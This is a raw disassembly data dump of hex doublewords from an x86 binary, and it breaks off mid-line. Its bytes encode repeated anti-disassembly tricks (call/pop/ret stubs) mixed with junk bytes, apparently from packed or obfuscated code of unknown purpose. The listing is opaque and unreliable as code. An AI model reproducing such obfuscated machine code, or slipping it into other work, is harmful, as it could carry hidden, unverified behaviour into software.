0A43E7AC3h, 820F9069h, 3, 50FA8B66h, 6A90FE8Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0AB89C356h, 0BBA24753h, 211BA072h, 11E9h, 0FBCF7F00h dd 0E6E65F68h, 8ABBF8CFh, 0B4037BE6h, 0FF643ADAh, 35h dd 1DBD8900h, 64060301h, 2589h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0DBF903C3h dd 35D0B911h, 1E51B589h, 85FF0603h, 6032A15h, 0FF6AFB8Bh dd 222DBD8Bh, 0B5FF0603h, 603235Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 83C35040h, 9C0B6EEDh, 8BF47F6Bh dd 1595FFFEh, 0E9060320h, 113h, 0BD8D0160h, 0E9060313h dd 13h, 0F83851Eh, 8DCB9769h, 5DCE9A61h, 33F7CE14h, 61BFEBA6h dd 70E600B0h, 26B8C781h, 71E47051h, 2B199D8Bh, 613C0603h dd 0D9830Fh, 39BF0000h, 0F222C43h, 10BBC8B6h, 0BA2A2C9Ah dd 6, 3215BD8Bh, 0C18B0603h, 14E9h, 88535E00h, 98D58CF3h dd 336552BAh, 910B89ACh, 1C1A4C3Bh, 4E8C1F9h, 42B298BFh dd 0E2F76638h, 6E9h, 7310E100h, 2B3067C6h, 15B589C8h, 8B06032Dh dd 65BD89D1h, 0E9060313h, 6, 2BC99D23h, 858B0603h, 60321E1h dd 18E0F60h, 0F9000000h, 6165C280h, 8B07C083h, 319C9BDh dd 0C08306h, 3BDFBF0Fh, 21830FD0h, 0E8000000h, 8, 0D62682E6h dd 91082AB6h, 0DBBFF381h, 0E95B7F9Fh, 33h, 850Fh, 5B520000h dd 12F18D8Bh, 81660603h, 83DB11F3h, 840F01E1h, 17h, 0A583FE8Bh dd 60312F1h, 8924B3FEh, 321E195h, 0E9FC06h, 8D000000h dd 6FA3AB5h, 0EE906h, 0EA8E0000h, 0FEAB0E26h, 2DDD8611h dd 42A7600Eh, 0B70F006Ah, 0B995FFDBh, 6A06031Fh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 7ECEC357h, 8389B488h, 0BE919F3h, 16000000h, 9ECE5DD8h dd 0BF75A0BBh, 73B985B7h, 89000007h, 31A4995h, 0FCE18306h dd 10E9h, 76CC2D00h, 8C05F869h, 33970127h, 8EC57046h, 421ABFBEh dd 2BFC5561h, 3058DBDh, 6AC02B06h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8BD0C356h dd 32CB99Dh, 0BA06h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 13B3C4C3h, 8BBE4316h dd 325259Dh, 1D9D3306h, 0AD060303h, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0FA4AC351h, 88FFB8C4h, 68E0FFFh dd 89000000h, 3299D95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 0FF87481h, 380h, 0F88B6600h dd 880Dh, 68A0F00h, 89000000h, 309F58Dh, 0D1958B06h, 0F060331h dd 689h, 0D59D8B00h, 8B06032Bh, 301E18Dh, 12E806h, 68E0000h dd 0CBE61ADEh, 0DEDFF242h, 0D2B47B31h, 1A2B305Dh, 3318D29h dd 505F0603h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 15BD2B58h, 8306031Bh, 31D65BDh, 840F0006h, 7Dh, 0B838B3h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 7D75C355h, 6CD1BBF5h, 926FA9Ch dd 31EADBDh, 0E9605206h, 12h, 0B51C7619h, 1DF288FCh, 2C3F0237h dd 91C555AAh, 5B610CADh, 4D1C8D8Dh, 6A0603h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0BCF7B1C3h dd 5DB3606Bh, 0A95958Bh, 0FF610603h, 0BDBD83E1h, 60321h dd 50F840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 57EFB7C3h, 618589D8h, 83060326h dd 321BDBDh, 840F0106h, 4F8h, 2B9BD8Bh, 0BD830603h, 60321BDh dd 0AF860F03h, 6A000004h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0B3A7C356h, 0D0225D24h dd 22B19D31h, 0BD030603h, 6032C89h, 50006A60h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0E55E098Bh dd 8998B338h, 328BDB5h, 0D98C6606h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h dd 1Dh, 0AFC35040h, 0FDE9A3E4h, 33A4B813h, 0C780563Dh dd 0E1805F6Eh, 0D1BD8B04h, 8B060323h, 323899Dh, 0FC90A06h dd 18384h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 0C1858BB3h, 6A060313h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 0F39C355h, 152F0BCFh, 0C19834Fh, 0E8D98B66h, 13h, 86EC89E7h dd 10B81F42h, 7CC1F0A0h, 0F5561425h, 66051CE6h, 0FBFDC781h dd 7985335Fh, 6A06031Ch, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 1108C353h, 3B5CD4E8h dd 28A0F69h, 8B000000h, 12E950F8h, 0B5000000h, 0E60B48A3h dd 1F55A4DAh, 643A9855h, 0F30FADD2h, 24048965h, 5BDA8B52h dd 8D0F006Ah, 6, 22719501h, 4E80603h, 0FF000000h, 50001F03h dd 0F5B5652h, 3870F31h, 66000000h, 585AF98Bh, 0E9566050h dd 11h, 896A0058h, 0AC3E32A9h, 0A425CCEAh, 82F747CEh, 52505A4Dh dd 4F20B866h, 0CE9310Fh, 0AF000000h, 94617F7Eh, 0AC11048Ch dd 5AE33547h, 448B6158h, 8B0424h, 9E8h, 46F8D400h, 6C45C03Fh dd 8B6692B0h, 44895FDAh, 860F0424h, 4, 8519BB66h, 0CF816658h dd 95FF689Fh, 6031405h, 1AE59D8Bh, 0BD010603h, 6031B79h dd 0A7348589h, 8B660606h, 207E9FBh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 31367CC3h dd 0BD6D8343h, 0A72C858Bh, 6A0606h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 72F59AC3h dd 1800C7h, 0BD8B0000h, 603132Dh, 28F9B589h, 0B58B0603h dd 606A730h, 1FA59D8Bh, 858B0603h, 603128Dh, 689F88Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 48C35242h dd 0FDAE60Bh, 858BFBBFh, 60313C1h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 0D0C35040h, 0EBBDE01Bh, 89FB1E6Ch dd 33271B5h, 8980B706h, 6A0446h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0B208E5C3h, 0EE8h, 0FA022800h dd 31EA0B4Ch, 9DBFDB2Fh, 0F09F3F3h, 8B5BF9B7h, 301F9BDh dd 52509606h, 61BB6650h, 310F5F8Fh, 7E8h, 10D0EE00h, 0B9A621C8h dd 8D0Fh, 5A5F0000h, 0BE95058h, 0D4000000h, 8DF82122h dd 0FF240520h, 6A96FD44h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 2140C350h, 0CF807F2Eh dd 148B0FBCh, 60000000h, 0AE9h, 4BB1CF00h, 25EDD846h, 8020703Bh dd 0FF61BBDDh, 6A72CB5h, 6E906h, 7B070000h, 332C16B2h dd 67E74C68h, 12E8ECh, 0F5160000h, 0D97C35A6h, 6C47ADDAh dd 0D33BBEBAh, 2460D564h, 815F49B7h, 1CB32404h, 0C7BB13B7h dd 8D6C6707h, 6A73485h, 0FE906h, 3A960000h, 0EAEDE7F2h dd 3BB5D503h, 0C3B4CA60h, 0CCBF90C5h, 5077F846h, 6A90FB8Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 59DEC353h, 0BF0F50AAh, 595FFFBh, 0F060314h dd 0C81h, 68D0F00h, 81000000h, 0F56F4EBh, 6A6177h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0BFE04DC3h, 17719D8Bh, 6E80603h, 0E6000000h, 2D5BA420h dd 0F8BF0FCCh, 0BD85C75Fh, 3060321h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0E92BC351h, 60C89915h, 0F00BA291h, 0BF66F98Bh, 0BD834165h dd 606A734h, 37840F00h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0D2ACC357h dd 0E1C38005h, 2519B589h, 26E90603h, 60000000h, 1DFB70Fh dd 302AD95h, 30506106h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 0DDBD33C0h, 8B060321h, 31A3D9Dh dd 5E906h, 1DB20000h, 83486B77h, 321BDBDh, 850F0306h, 45Fh dd 0E856006Ah, 3, 5EC35E20h db 89h, 74h word_584F4E dw 424h ; DATA XREF: ___:00436EFCo dd 4244481h, 19h, 84C35646h, 0F7F9E7CEh, 7E8F4h, 74290000h dd 0B8FE20C0h, 15BD2969h, 5B06031Bh, 0A734BD83h, 0F000606h dd 41E84h, 79BD8900h, 0FF060330h, 6A734B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 54B357B0h, 0DF80442Fh, 0DF8B66A0h, 2E0595FFh, 6A0603h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0B50155C3h, 2A6AA34Fh, 0B58B5034h, 606A728h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 34C35242h, 238D4D47h dd 0E5BD3172h, 0C7060301h, 1000106h, 5E900h, 1DED0000h dd 50DE7298h, 89F98B66h, 6A2434h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 19C9D2C3h, 0E3B2D69Ah dd 0BD299DF4h, 603034Dh, 0A734B5FFh, 810F0606h, 15h, 9E8h dd 77B5A00h, 7B378C75h, 8D89DB02h, 6030FC1h, 1995FF5Fh dd 6A06032Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 8517C351h, 0BFF98B72h, 735DAE1Eh dd 0A728B58Bh, 5B500606h, 311D858Bh, 9D010603h, 6031FB5h dd 0C48689h, 8D890000h, 6030FE5h, 31D1958Bh, 870F0603h dd 3, 81D98B66h, 990B72DBh, 4C28313h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 46C35040h, 8B90C682h, 32A459Dh dd 20508906h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 26C35747h, 0CDB38FE6h, 0BBF3858Dh, 11E90606h, 90000000h dd 0BFCC8477h, 0CFD53D44h, 7D52E271h, 5987417Ch, 0B88689h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 998FFCC3h, 0BD8B9B62h, 6030AB5h, 6A006Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0DA8B10C3h, 0A734B5FFh, 870F0606h, 6, 259BD8Bh, 95FF0603h dd 6031CB1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 20C35343h, 0E24A9477h, 0DE9507Dh, 2E000000h, 0B9BE4840h dd 0A558E777h, 5E098BEAh, 6A243489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0D6C8C355h dd 6AE328D0h, 12F59531h, 0B5FF0603h, 606A734h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 6DC35545h, 0E9BD893Dh dd 8B060324h, 6595FFF9h, 6A060311h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 16E4C350h dd 23602ADEh, 0B7107AD7h, 95BD83EAh, 60317h, 63840Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0EA2A08C3h, 77E6DE3Ah, 0F814B0Ah, 482h, 3EBB6600h, 0FD9D31D8h dd 5006030Fh, 7E8h, 0D26A1B00h, 5C9BA663h, 0FE8h, 51E01F00h dd 84299219h, 0C3F4D90Eh, 14C45685h, 5B5F5F51h, 33243489h dd 313EDBDh, 34B5FF06h, 6A0606A7h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 4B84C351h dd 0B70F60ABh, 8E9D1h, 2CD30000h, 0E366E0DEh, 0F961E388h dd 66195FFh, 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 9543C3C3h, 0B5FF2C4Ch, 606A734h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0B9C35343h dd 1F6C1A3Ch, 0F1080A22h, 0E195FFB7h, 8906030Ah, 323499Dh dd 8DBD8306h, 2060321h, 34840Fh, 9D8B0000h, 60326CDh, 1FD858Bh dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 598B1AC3h, 58A516DDh, 0C6FC53h, 85C7F500h dd 60330B9h, 0 dd 0E9DBBF0Fh, 0FFFFF2AEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 19C35747h, 0A5CBBB62h, 0C18B1419h, 858DD98Bh dd 6032811h, 24048950h, 2820Fh, 0DAB70000h, 6A006Ah, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 6AB3EDC3h, 0BF6610DAh, 6AC2DAh, 1ADD9D89h, 880F0603h dd 6, 28A9B589h, 858D0603h, 6079866h, 0F05C083h, 0F90FFB7h dd 8Eh, 66515000h, 905FF98Bh, 6AD6B3h, 0D98B006Ah, 0CC995FFh dd 6A0603h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 6676A9C3h, 0A8B7DF81h, 97478D8Dh, 0B5010606h dd 6032AB5h, 8D31D1FFh, 6032CCDh, 1E91BD83h, 0F010603h dd 5985h, 0E222BF00h, 26A7351h, 0FB8B6650h, 6A240489h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 21D1C357h, 0D381664Dh, 95FFF003h, 6031CB1h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0A1C35141h dd 975B589h, 0BDE90603h, 0E800000Ch, 0 dd 70ED815Dh, 0F060798h, 2E89h, 14E800h, 83DA0000h, 94B9DD3Ah dd 252D904h, 0C6A2DA8Ch, 963FECB0h, 0EE89625h, 26000000h dd 0DFDC6683h, 1F66C498h, 0CEADEB7Ch, 6A5B5BAEh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0A8E4C357h, 0DB589D9h, 8D06032Ah, 6888985h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 673E8F0Bh, 7800D638h, 8B90EEB0h, 8E950D8h, 31000000h dd 7E96D646h, 904C6380h, 5979BB52h, 645F3F00h, 35FFh, 9E90000h dd 0C2000000h, 18DDD3h, 27ED122Ah, 258964h, 66000000h dd 0C963D781h, 2A1585FFh, 6A0603h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0AC0479C3h, 0FB13DC8h dd 68Dh, 0F1952900h, 6A06030Bh, 51006AFFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0E7816644h dd 0B5FFB867h, 6032221h, 0C870Fh, 890F0000h, 6, 1FA1BD01h dd 95FF0603h, 6032015h, 13CE9h, 24E78100h, 0B0606353h dd 0C820F00h, 0E9000000h, 7, 0B1A3EC54h, 0E96BBCF7h, 0Eh dd 0D6223FDh, 801F1A61h, 7F9D937Ah, 70E6C236h, 0B99DBF66h dd 0BD8B71E4h, 6030A31h, 830F613Ch, 0F9h, 0EED38056h, 0C8B60F5Bh dd 31859D29h, 6BA0603h, 8B000000h, 32901BDh, 0FC18B06h dd 0C83h, 6890F00h, 0B000000h, 324DDBDh, 4E8C106h, 23B1B531h dd 0F7660603h, 68C0FE2h, 8B000000h, 32301BDh, 89C82B06h dd 32CE195h, 0FD18B06h, 0BE9DEBFh, 0F000000h, 58Dh, 4DD7BB00h dd 858B3B05h, 6032551h, 0A43DD781h, 0C083449Bh, 0F8B70F07h dd 8100C083h, 9C1E58F7h, 7E834h, 9FA30000h, 0A64BD1E0h dd 99D8B33h, 5F06030Fh, 830FD03Bh, 22h, 81958957h, 5B06032Ah dd 54E9h, 0DE800h, 960A0000h, 0EDE7F23Ah, 0B5D503EAh, 8BCA603Bh dd 8D8B5BF8h, 60305BDh, 17598D89h, 0E1830603h, 2A840F01h dd 60000000h, 68B0Fh, 95330000h, 60323C9h, 0A2E28166h dd 0A58361F4h, 60305BDh, 0DE8B66FEh, 25519589h, 0FB8B0603h dd 0E9h, 63B58D00h, 6A060703h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 619CC356h, 0BBAB919Bh dd 0E1F855FFh, 6AF88B66h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 29853425h dd 31E5DBDh, 0B995FF06h, 6A06031Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0DC5EC352h dd 12E957h, 77C10000h, 0F8AA31FFh, 0D19653CCh, 11C11FA1h dd 4781D567h, 93DB9h, 0D9BF0F00h, 6AFCE183h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 92BCC356h, 3870FAEh, 0F000000h, 6AFCF9BFh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 0CE16C353h, 0B8FC61h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 8EE7C353h dd 36D02488h, 24D58589h, 0D22B0603h, 0ACD9D8Bh, 0BD310603h dd 6030281h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 23899509h dd 8D0F0603h, 6, 2DBDB589h, 880D0603h, 8B000000h, 312E99Dh dd 0D1958B06h, 6A060331h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 67CDC351h, 2958D701h dd 303F985h, 0E18D8B06h, 0E8060301h, 5, 0E8159E20h, 15BD8BB8h dd 5B060323h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 0AE95818h, 0A3000000h, 6B673768h, 0E4FD8098h, 0BD83F539h dd 6031D65h, 61840F00h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0ED96C355h dd 623DAB63h, 0E2DD4D17h, 1D85BD89h, 0B8F80603h, 0 dd 24E1BD8Bh, 8D8D0603h, 6034D1Ch, 9DC38166h, 0E8E1FF6Dh dd 14h, 5D0A1959h, 76426778h, 4792F7D7h, 0B656270Bh, 4181C7AAh dd 5FDF8B66h, 21BDBD83h, 0F000603h, 41184h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0DB7AF828h, 75DD9E18h, 0BD83F94Ah, 60321BDh, 0FA840F01h dd 6A000003h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 95CEC353h, 3A4436A9h, 0F9086468h dd 1F959D8Bh, 14E90603h, 0CA000000h, 0ADB25049h, 3D6CDEFh dd 4FF1B061h, 0A19CC92Fh, 83B574FCh, 321BDBDh, 860F0306h dd 373h, 41A9C9BBh, 6A6074h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 8C66A2C3h, 8012B7D9h dd 6A04E1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0A2864CC3h, 0A3C9ECFAh, 66AE7EFCh, 0EC25CB81h dd 840FC90Ah, 0A0h, 858B14B3h, 60313C1h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 19h, 51C35141h, 45AABCA8h dd 0E9BD03CEh, 3306030Ah, 31C7985h, 0D98D3106h, 8B06030Ah dd 31E9D9Dh, 0EE85006h, 0F2000000h, 50F47834h, 46E715F7h dd 6F61A8BCh, 53E7BFE0h, 895B1889h, 81662404h, 6AC42DE7h dd 0B70F6000h, 0DCB552F9h, 0E686159h, 0F108F59h, 28Eh dd 81DA8B00h, 5AF12434h, 0A7B31090h, 140595FFh, 85890603h dd 606A734h, 2419D2Bh, 0C9E90603h, 66000001h, 0AB90F381h dd 0A72C858Bh, 8D010606h, 60301C9h, 1800C7h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 67702C3h, 0F8024625h, 0FE8F4h, 0FE630000h, 6BE5E399h dd 0FE77466h, 8B746AADh, 0D9BF0F23h, 30B58B5Fh, 6A0606A7h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 3694C352h, 128D858Bh, 6890603h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 56C35747h, 81C7AAB6h dd 8B5A5241h, 31F1D9Dh, 0C1858B06h, 6A060313h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 0E9C7C353h, 6, 2ECB2266h, 4689EA81h, 50006A04h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 7E897EEh, 93000000h, 0F25009B5h, 0B531A035h, 6032DB5h dd 9D95895Fh, 5006030Fh, 0CCB3FBBFh, 2434892Ch, 88D38150h dd 5F748A61h, 0A72CB5FFh, 9D8B0606h, 6032E49h, 804468F8h dd 481F065h, 0B983BB24h, 34858D0Fh, 6A0606A7h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 1107C351h, 8166D8CDh, 0BB954EBh, 30A31BDh, 0FE95006h dd 0FF000000h, 28ACE45Ah, 6F8B00BFh, 0BF590DEAh, 489BF0Bh dd 0B5BF6624h, 595FFF3h, 6A060314h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0EDB3C351h dd 0E88D37DEh, 12h, 0A9D51FD5h, 17FB6C76h, 0D00BC22Ch dd 69FF5F37h, 8B662AE7h, 0BD8B5BF9h, 6030929h, 57006A61h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 569968E5h, 1DDBD8Bh, 895B0603h, 31CC585h, 0BD85C706h dd 3060321h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 40FCC353h, 0BD9D8B51h dd 5F060323h, 0A734BD83h, 0F000606h, 4A84h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0AFC6F8Dh, 3FE9C9C2h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 7127C356h dd 72C3EBCAh, 50AA99C7h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 0DEBBC08Bh, 811D4448h, 3B649EEBh dd 83F88B3Fh, 321BDBDh, 850F0306h, 38Dh, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 18h, 3C35747h, 71A0D7D9h dd 207D9D8Bh, 0BD830603h, 606A734h, 5A840F00h, 0BB000003h dd 2B123B13h, 0A734B5FFh, 8B600606h, 3247985h, 6850F06h dd 89000000h, 317ADB5h, 95FF6106h, 6032E05h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0BCC35343h, 73FA7384h dd 89DA8B66h, 30F0DBDh, 28B58B06h, 6A0606A7h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0D807C352h, 0C7B5F0F4h, 1000106h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 50CF78F5h dd 3A0EBF52h, 895F2BB1h, 8B662434h, 34B5FFFAh, 6A0606A7h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 3153C355h, 95FFC856h, 6032F19h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0ECC35343h, 13B9125Eh dd 0A99D8BB4h, 8B060321h, 6A728B5h, 8D9D8B06h, 8B06031Eh dd 3311D85h, 0D99D8B06h, 8906031Fh, 0C486h, 8D2B6000h dd 6030A9Dh, 617CC380h, 31D1958Bh, 6A0603h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 70A72EC3h dd 3108CA7Ch, 0BF8F597Dh, 4E35C177h, 5E9h, 0B3295B00h dd 0C283F2E6h, 0FB8B6604h, 8B205089h, 0F3858DDFh, 8B0606BBh dd 322D99Dh, 0B8868906h, 0B000000h, 31B459Dh, 6A006A06h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 297EC353h, 0D1FCAC18h, 0FDA8B66h, 0B5FFDAB7h dd 606A734h, 258D2951h, 5B060312h, 1CB195FFh, 6A0603h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0BE5C3C3h, 85B1218Dh, 870FF06Ch, 5, 0E36256BFh, 0DF8B9655h dd 2DBF6650h, 6A962Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 8BC619C3h, 31BC19Dh, 34B5FF06h dd 6A0606A7h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 870FC350h, 0BF770107h, 559D8BF5h dd 0FF060331h, 3116595h, 8391B706h, 31795BDh, 840F0006h dd 4Bh, 0E996E9B3h, 9, 2B7136BCh, 0E56A8495h, 6660504Ch dd 6660DA8Bh, 0FE9F0B8h, 8Fh, 96616100h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 9DC35242h, 6D3D4CB4h dd 0CBBF9AC7h, 0FF390287h, 6A734B5h, 0D8BF0F06h, 66195FFh dd 0B5FF0603h, 606A734h, 0FFFEB70Fh, 30AE195h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 153BA8A6h, 286274C3h, 419D3105h, 83060311h, 3218DBDh dd 840F0206h, 53h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 5C35343h, 809C0363h, 858B41D7h, 60301FDh dd 21C1BD8Bh, 0C60603h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 602B8637h, 0C7F98B66h, 330B985h, 6, 78BB6600h, 0F465E90Ah dd 5F51FFFFh, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0BD09EBC3h, 60321E9h, 2811858Dh dd 0AE90603h, 0E1000000h, 966C438Ch, 0BD939A44h, 6E950ECh dd 0D0000000h, 0D9BBDh, 240489C9h, 12E8h, 416A0800h, 3B8311E5h dd 1B4F3D26h, 0D4EAA441h, 0F7EB556h, 68Bh, 850F00h, 5F000000h dd 0CE8h, 0F6B1A000h, 2131840Ah, 0F4825CADh, 0A5853132h dd 5B060304h, 0FE9006Ah, 0AA000000h, 0B9D33E63h, 72C4E4F2h dd 37B66D52h, 6A0DF5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0B0C35040h, 9D09608Ch, 6031C5Dh, 0A700858Dh dd 0AE90607h, 7E000000h, 57657EF5h, 0A244A0Eh, 5C0837Ah dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 66C35242h dd 0A96D57AAh, 0F995893Eh, 50060329h, 0E8240489h, 6, 39B7531Bh dd 0BD8BB6DDh, 6032381h, 6A006A5Fh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 1B2C350h dd 0E8B47874h, 13h, 0A567216Bh, 2FC6EBDFh, 0D3862FA6h dd 71BBD581h, 0B7751C36h, 6A5B72h, 1FFDBD01h, 95FF0603h dd 6030CC9h, 2C9D9589h, 8D8D0603h, 6069747h, 0B3DBD09h dd 0D1FF0603h, 0EA09D781h, 0BD8319D9h, 6031E91h, 75850F01h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 6653C357h, 9D03512Ch, 6031CD9h dd 0BB026A5Bh, 443FDB1Bh, 0BF665090h, 6A90D5D9h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0E9FAC350h, 11h, 6BDE798Fh, 3289A5C1h, 